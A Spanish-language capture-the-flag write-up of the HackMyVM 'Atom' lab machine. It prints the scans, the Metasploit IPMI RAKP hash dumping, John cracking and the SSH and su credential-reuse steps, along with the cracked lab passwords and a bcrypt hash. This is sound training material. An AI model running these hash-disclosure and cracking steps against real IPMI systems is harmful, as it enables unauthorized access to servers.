cd ~/blog

~/writeups/hmv/113-atom.md

113 - Atom

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
IPMI 2.0 Cipher Zero Authentication BypassIPMI RAKP Hash Disclosure and Password CrackingCredential Reuse desde una base de datos hacia root
hackmyvm.eu/machines/machine.php?vm=Atom

~1 min de lectura


Enumeración de servicios

El escaneo TCP sólo descubre SSH. Sin una aplicación adicional ni credenciales conocidas, ampliamos el reconocimiento a UDP en lugar de iniciar Password Guessing contra el único servicio visible:

❯ nmap -sCV -p 22 -oN 02-targeted.txt 192.168.1.28
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-10 19:45 -04
Nmap scan report for 192.168.1.28
Host is up (0.00034s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

El puerto 623/udp responde como ASF-RMCP, protocolo utilizado por IPMI:

❯ sudo nmap -sU --top-ports 100 -oN 03-udp.txt 192.168.1.28
...
PORT    STATE SERVICE
623/udp open  asf-rmcp
...

IPMI Cipher Zero y RAKP Hash Disclosure

El script de Nmap confirma un IPMI Cipher Zero Authentication Bypass. Esta configuración permite negociar una suite sin protección criptográfica para autenticarse con una cuenta válida, aunque no revela por sí sola la contraseña de esa cuenta:

❯ sudo nmap -sU --script ipmi-cipher-zero -p 623 192.168.1.28
...
| ipmi-cipher-zero:
|   VULNERABLE:
|   IPMI 2.0 RAKP Cipher Zero Authentication Bypass
|     State: VULNERABLE
...

El protocolo RAKP permite solicitar material de autenticación vinculado a un nombre de usuario. Metasploit automatiza esta IPMI RAKP Hash Disclosure y compara el hash obtenido para admin con rockyou, recuperando cukorborso:

msf6 > use auxiliary/scanner/ipmi/ipmi_dumphashes
msf6 auxiliary(scanner/ipmi/ipmi_dumphashes) > set rhosts 192.168.1.28
msf6 auxiliary(scanner/ipmi/ipmi_dumphashes) > set pass_file /home/wh01s17/Documents/wordlists/rockyou.txt
msf6 auxiliary(scanner/ipmi/ipmi_dumphashes) > run
[+] 192.168.1.28:623 - IPMI - Hash for user 'admin' matches password 'cukorborso'

Con acceso válido listamos otras cuentas IPMI, solicitamos sus hashes RAKP y los atacamos fuera de línea con John. La salida relaciona cada contraseña recuperada con su usuario:

❯ ipmitool -I lanplus -H 192.168.1.28 -U 'admin' -P 'cukorborso' user list
...
❯ john --fork=8 --incremental:alpha --format=rakp hashes.txt
...
jiggaman         (192.168.1.28 onida)
...

Acceso inicial mediante Credential Reuse

Comprobamos los pares recuperados contra SSH sin cruzar indiscriminadamente todas las combinaciones. NetExec confirma que onida:jiggaman ha sido reutilizado en el servicio del sistema:

❯ netexec ssh 192.168.1.28 -u users.txt -p passwds.txt --no-bruteforce
...
SSH         192.168.1.28    22     192.168.1.28     [+] onida:jiggaman  Linux - Shell access!
...

❯ ssh onida@192.168.1.28
onida@192.168.1.28's password: jiggaman
onida@atom:~$

Escalada mediante Password Cracking y Credential Reuse

La sesión de onida permite recuperar la primera flag. En /var/www/html encontramos una base de datos que contiene un hash bcrypt asociado a atom:

onida@atom:/var/www/html$ cat atom-2400-database.db
...
atom$2y$10$Z1K.4yVakZEY.Qsju3WZzukW/M3fI6BkSohYOiBQqG7pK1F2fH9Cm
...

John recupera madison. El nombre de la entrada no demuestra que sea una credencial del sistema, pero la validación con su root confirma su reutilización para la cuenta privilegiada:

❯ john -w=/home/wh01s17/Documents/wordlists/rockyou.txt hash_atom
...
madison          (?)
...

onida@atom:/var/www/html$ su root
Password: madison
root@atom:/var/www/html#

El prompt root@atom cierra la escalada y permite recuperar la flag final.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados